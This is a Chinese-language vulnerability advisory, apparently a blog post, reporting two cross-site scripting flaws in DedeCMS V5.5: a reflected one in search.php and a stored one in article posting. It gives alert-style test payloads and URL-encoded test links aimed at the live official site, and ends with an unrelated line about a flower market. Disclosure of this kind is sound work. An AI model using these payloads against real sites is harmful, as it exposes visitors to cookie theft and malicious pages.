2010年1月5号，安天实验室反病毒工程师测试发现DEDECMS的两个0DAY漏洞。
1、dedecms“search.php”文件存在跨站漏洞 该漏洞是由于search.php文件存在导致跨站漏洞，属于非持久性跨站。它会诱导用户点击一些“主站链接”，用户即可受到恶意挂马网站威胁、被盗取COOKIES信息，继而被盗取用户名密码等威胁。受影响版本：DedeCMS V5.5 GBK一些测试信息如下：在“搜索”输入栏中输入以下测试代码：测试代码1：
<IMG SRC=javascript:a lert('XSS')>测试代码2：
<iframe src=http://www.google.com <Dedecms官方主站虽然没有搜索提示，但是search.php文件存在，也存在同样漏洞，如下：主站测试链接1：
http://www.dedecms.com/plus/search.php?typeid=0&keyword=%3Ciframe+src%3Dhttp%3A%2F%2Fwww.google.com+%3C&starttime=-1&channeltype=-1&orderby=sortrank&pagesize=10&kwtype=1&searchtype=titlekeyword&%CB%D1%CB%F7=%CB%D1%CB%F7主站测试链接2：
http://www.dedecms.com/plus/search.php?keyword=%3CIMG+SRC%3D%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2339%3B%26%2388%3B%26%2383%3B%26%2383%3B%26%2339%3B%26%2341%3B%3E2、注册用户发表文章引发跨站漏洞 该漏洞属于持久性跨站挂马漏洞，注册用户发布文章内可以添加一些测试代码，发表成功后新帖的地址及存在持久性恶意跨站或挂马代码。其他用户访问将受严重威胁。一些测试信息如下：（1）注册用户，发表文章在“发表普通文章”，选择“源代码”，输入测试代码：测试代码1：
<BODY ONLOAD=alert(‘XSS’)>测试代码2：
<iframe src=http://www.google.com <解决办法：
请关注dedecms官方补丁！
标签分类： 安全漏洞
闽南的花市，一开始是来自漳州百花村，
